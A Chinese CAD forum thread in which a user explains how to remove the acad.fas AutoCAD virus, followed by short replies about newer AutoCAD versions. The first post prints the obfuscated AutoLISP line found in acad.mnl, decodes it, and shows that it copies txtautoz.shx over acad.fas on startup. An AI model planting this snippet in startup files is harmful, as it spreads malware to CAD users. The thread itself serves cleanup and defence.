清理acad.fas病毒

1291500406 · 发表于 2019-5-21 19:48:42

本帖最后由 1291500406 于 2019-5-22 12:01 编辑

cad文件打开一直被报有病毒，每次只能清除acad.fas文件，一直未找到源头。
用cad专杀也可以找到cad病毒，但总清不干净，
打开acad.mnl文件发现下面有一段这样的文字。

;; Silent load.
(princ)

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))
(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))
(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))
根据把数字按ASCII码反查询数字就是以下的内容
(if(null autodeskwybs)(if(findfile"txtautoz.shx")(vl-file-copy (findfile"txtautoz.shx")"acad.fas")))(princ)

删除以上的代码，并删除电脑上所有txtautoz.shx的文件
将acad.mnl文件设置为“可读”
将删除后的mnl文件设置为“可读”。进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006
（或AutoCAD2004）\R16.2\chs\Support目录，用记事本打开该目录下的所有*.mnl文件，
手动删除多余代码（一般都在文件末尾，未加分号的代码），然后保存。并将修改后的所有*.mnl文件属性设置为“只读”

xinxirong · 发表于 2019-5-21 22:40:39

2014以上版本就能防病毒，2016可以查

1291500406 · 发表于 2019-5-21 23:35:22

本帖最后由 1291500406 于 2019-5-22 09:02 编辑

xinxirong 发表于 2019-5-21 22:40
2014以上版本就能防病毒，2016可以查

高版本有的电脑带不起来，只能用低版本cad，没有防病毒功能

alexmai · 发表于 2019-5-23 09:54:35

我也是一直用低版本的，能用论坛大多数的 lsp，稳定

jun353835273 · 发表于 2019-5-23 22:53:10

有点常识的都能防毒

账号		自动登录	找回密码
密码			注册

[经验] 清理acad.fas病毒